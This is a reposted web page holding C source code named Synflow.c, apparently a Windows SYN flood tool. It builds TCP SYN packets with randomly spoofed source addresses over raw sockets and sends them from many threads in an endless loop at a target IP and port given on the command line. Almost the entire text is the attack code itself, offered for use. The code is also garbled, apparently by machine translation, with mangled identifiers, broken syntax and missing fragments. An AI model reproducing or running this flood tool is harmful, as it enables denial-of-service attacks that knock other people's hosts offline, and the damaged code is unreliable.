Synflow.c

xiaoxiao2021-03-06  26

Author: Yunshu #include #include #include #include #include #pragma Comment (lib, "ws2_32.lib") #define packetnum 1024 // Global variable intumethread; // Maximum thread number int currentthread = 0; // Current active line The number of CHAR SendBuff [packetnum] [60] = {0}; // 1024 packets, each The length is ipheader tcpheader sockaddr_in sin; socket sendSocket; typedef struct ip_hdr {unsigned char h_verlen; // 4 top length, 4-bit IP version number unsigned char TOS; // 8 service type TOS unsigned short total_len; // 16 Bit total length (byte) Unsigned short identity; // 16-bit ID UNSIGNED SHORT FRAG_AND_FLAGS; // 3-bit flag bit unsigned char TTL; // 8-bit survival time TTL Unsigned Char proto; // 8-bit protocol (TCP, UDP Or other) unsigned short checksum; // 16-bit IP header checksum unsigned int sourceip; // 32 bitsource IP address unsigned int desip_Header; typedef struct tcp_hdr // definition TCP header { Ushort th_sport; // 16 bits source port Ushort TH_DPORT; / / 16-bit destination port unsigned int th_seq; / / 32-bit serial number unsigned int th_ack; // 32 bit confirmation number unsigned char th_lenres; // 4 top length / 6 position reserved word unsigned char th_flag; // 6 bits marker Ushort TH_WIN; // 16-bit window size Ushort TH_SUM; // 16-bit check and ushort tr_urp; // 16-bit emergency data offset} TCP_HEPEDEF STRUCT TSD_HDR / / Define TCP Pseudomoned {UNSIGNED Long Saddr; // Source Address Unsigned long Daddr; // destination address Char MBZ; CHAR PTCL; / / Protocol Type Unsigned Short TCPL; // TCP Length} PSD_Header; // Function Original INT Setup (char *, char *); // Generate Packet DWORD WINAPI Send_packet (LPVOID); // Send Data Functions Ushort Checksum (Ushort *, Int); // Calculate Test and Functions Void Watchthread (Void);

// Detect the current thread number // main function int main (int Argc, char * argv []) {wsadata wsadata; dword threadid = 1; handle threadHandle = NULL; if (argc! = 4) {printf ("/ n% S / T / t / t / n ", argv [0]); return -1;} if (WsaStartup (MakeWord (2, 2), & WSADATA)! = 0) {Printf ("Initializing WSASTARTU Failure / N"); Return -1;} IF (ATOI (Argv [3])> 0 && Atoi (Argv [3]) <150) {Maxthread = ATOI (Argv [3]);} Else {Printf ("maximum number of threads, must be greater than 0 and less than 150"); RETURN-1;} // Initialize the packet, stored in an array.

IF (Setup (Argv [1], Argv [2]) == 1) {Printf ("Initialization Completion / N");} else {printf ("initialization failed / n"); return -1;} printf (" Attack start ... / N "); while (1) {threadid = 1; for (int TMP = 0; TMP = 16) {printf ("Destination IP is not / N"); return -1;} strcpy (DST_IP, Destip); if (atoi (destport) <0 || ATOI (DESTPORT)> 65535) {Printf ("Destination Port is not: / N"); return -1;} sin.sin_family = AF_INET; SIN.SIN_PORT = ATOI (DESTPORT); sin.sin_addr.s_addr = INET_ADDR (DST_IP); SRAND (NULL)); for (int N = 0; n

) {WSPRINTF (SRC_IP, "% D.% D.% D.% D", rand ()% 250 1, rand ()% 250 1, rand ()% 250 1, rand ()% 250 1); // Fill the IP header ipHeader.h_verlen = (4 << 4 | sizeof (ipheader) / sizeof (unsigned long); ipHeader.tos = 0; ipHeader.total_len = Htons (ipHeader Sizeof) (SIZEOF (Ipheader) Sizeof TcpHeader)); IpHeader.ident = 1; IpHeader.frag_and_flags = 0x40; IpHeader.ttl = 128; IpHeader.proto = IPPROTO_TCP; IpHeader.checksum = 0; IpHeader.sourceIP = inet_addr (src_ip); IpHeader.destIP = inet_addr (dst_ip ); // fill TCP header TCPHEADER.TH_SPORT = HTONS (RAND ()% 60000 1); // Source port number TCPHEADER.TH_DPORT = HTONS (atoi (destport)); tcpheader.th_seq = HTONL (Rand ()% 900000000 1); tcpheader.th_ack = 0; tcpheader.th_lenres = (sizeof (tcpHeader) / 4 << 4 | 0); tcpheader.th_flag = 2; // 0, 2, 4, 8, 16, 32-> Fin , SYN, RST, PSH, ACK, URG TC pHeader.th_win = htons (512); TcpHeader.th_sum = 0; TcpHeader.th_urp = 0; PsdHeader.saddr = IpHeader.sourceIP; PsdHeader.daddr = IpHeader.destIP; PsdHeader.mbz = 0; PsdHeader.ptcl = IPPROTO_TCP; PsdHeader .tcpl = htons (SIZEOF (TCPHEADER)); // Calculate TCP checksum Memcpy (SendBuff [N], & PSDHeader, SizeOf (PsdHeader)); Memcpy (SendBuff [N] Sizeof (Psdheader), & Tcpheader, Sizeof (TCPHEADER )); Tcpheader.th_sum = checksum ((ushort *) sendbuff [n], sizeof (psdheader)

SIZEOF (TCPHEADER)); // Computing IP Test and Memcpy (SendBuff [N], & iPheader, SizeOf (Ipheter)); Memcpy (IpHeader), & Tcpheader, Sizeof (TCPHEADER); MEMSET (SendBuff [n] sizeof (IpHeader) sizeof (TcpHeader), 0, 4); IpHeader.checksum = checksum ((USHORT *) SendBuff, sizeof (IpHeader) sizeof (TcpHeader)); memcpy (SendBuff [n], & IpHeader , SIZEOF (Ipheter); Memcpy (Ipheter), & Tcpheader, SizeOf (TCPHEADER));} Bool flag; int Timeout; // Established native data socket / * if ((Sendsocket = WSASASOCKET (AF_INET , SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {CurrentThread--; return 0;} * / SendSocket = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if (SendSocket == INVALID_SOCKET ) {Return 0;} // Set yourself fill the packet flag = true; if (setsockopt (Send " Socket, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (flag)) == Socket_ERROR) {Printf ("setsockopt error / N"); return 0;} // Set timeout timeout = 1000; if (setsockopt Sendsocket, SOL_SOCKET, SO_SNDTIMEO, (CHAR *) & TIMEOUT, SIMEOF (TIMEOUT)) == SOCKET_ERROR) {Return 0;} Return 1;} // Name: send_packet // Description: Send SYN Packet DWord WinApi Send_packet to the Target Host LPVOID LP) {// Send Packet INT TMP = (int) lp; int RET, count = 0; while {RET = Sendto (SendSocket, SendBuff [TMP], SIZEOF (IP_HEADER)

转载请注明原文地址:https://www.9cbs.com/read-58862.html

New Post(0)